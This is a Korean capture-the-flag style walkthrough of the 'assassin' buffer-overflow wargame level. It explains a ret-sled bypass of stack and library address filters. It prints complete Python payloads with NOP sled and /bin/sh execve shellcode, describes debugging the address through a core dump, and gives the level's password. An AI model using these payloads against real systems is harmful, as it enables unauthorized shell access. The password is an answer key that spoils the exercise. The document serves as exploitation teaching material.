assassin의 소스를 보도록 하겠습니다.

소스를 보고 알수 있는 정보를 정리해 보겠습니다.

1.    매개변수의 갯수 제한이 없어졌습니다

2.    매개변수의 길이 제한이 없어졌습니다.

3.    ret에 스택 주소를 사용할 수 없습니다.

4.    ret에 라이브러리 주소를 사용할 수 없습니다.

5.    buffersfp0으로 초기화 됩니다.

 

지금까지 풀이는 stack에 쉘을 올리고 eip를 그곳으로 변경하거나, rtl을 이용하여 문제를 풀었습니다. 다만 이번에는 ret에 그 주소값을 넣을 수 없게 제한이 걸려있습니다.

 

하지만 매개변수의 길이에 제한이 없기 대문에 ret바로 위에는 아무 주소나 입력 할 수 있습니다.

바로 이것이 이번 문제를 풀기위한 방법입니다.

즉 스택에서 ret다음 있는 메모리의 데이터를 어떻게 eip에 전달하느냐 입니다.

ret에 있는 데이터가 eip로 전달 되는 과정은 다음과 같습니다.

1.    Espret가 들어 있는 메모리를 가르킨다.

2.    ret(pop eip) 명령어를 통해 ret메모리의 내용을 eip에 전달한다.

 

그럼 스택상 ret위에 있는 영역의 값을 eip에 전달 하기 위해선 esp를 한번더 위로 올려주어야 합니다.

pop을 한번 더 해주어야 하는 것이지요.

 

어렵게 생각 할 것 없이 leave다음 ret2번 수행된다고 생각하면 됩니다.

즉 스택의 ret0x0804851e를 넣어 주면 되는 것이죠. 주소가 08로 시작하기 때문에 입력 조건에 걸러지지도 않습니다.

 

Ret0x0804851e를 넣어주고 뒤이어 쉘코드의 주소와 NOP슬라이드와 쉘코드를 넣어주면 됩니다.

 

페이로드는 다음과 같이 됩니다.

`python -c 'print "A"*44 + "\x1e\x85\x04\x08" + 쉘코드주소 + "\x90"* 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

쉘코드의 주소를 알아내도록 하겠습니다.

NOP슬라이드가 들어있는 영역으로 보아 0xbffffc70으로 주소를 넣어주면 될듯 합니다.

 

완성된 페이로드는 다음과 같습니다.

`python -c 'print "A"*44 + "\x1e\x85\x04\x08" + "\x70\xfc\xff\xbf" + "\x90"* 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

이제 테스트를 해보도록 하겠습니다.

세그펄트가 발생하였으니 core dump를 이용해 디버깅해 보도록 하겠습니다.

 


쉘코드가 들어가 있는 주소가 바뀌어서 안되었네요.

주소를 0xbffffab0으로 변경하여 다시 시도하도록 하겠습니다.

 

쉘이 획득 되었네요. 원본 파일을 대상으로 공격하도록 하겠습니다.

 


assassin의 쉘이 획득 되었습니다.

assassin의 패스워드는 pushing me away입니다.

+ Recent posts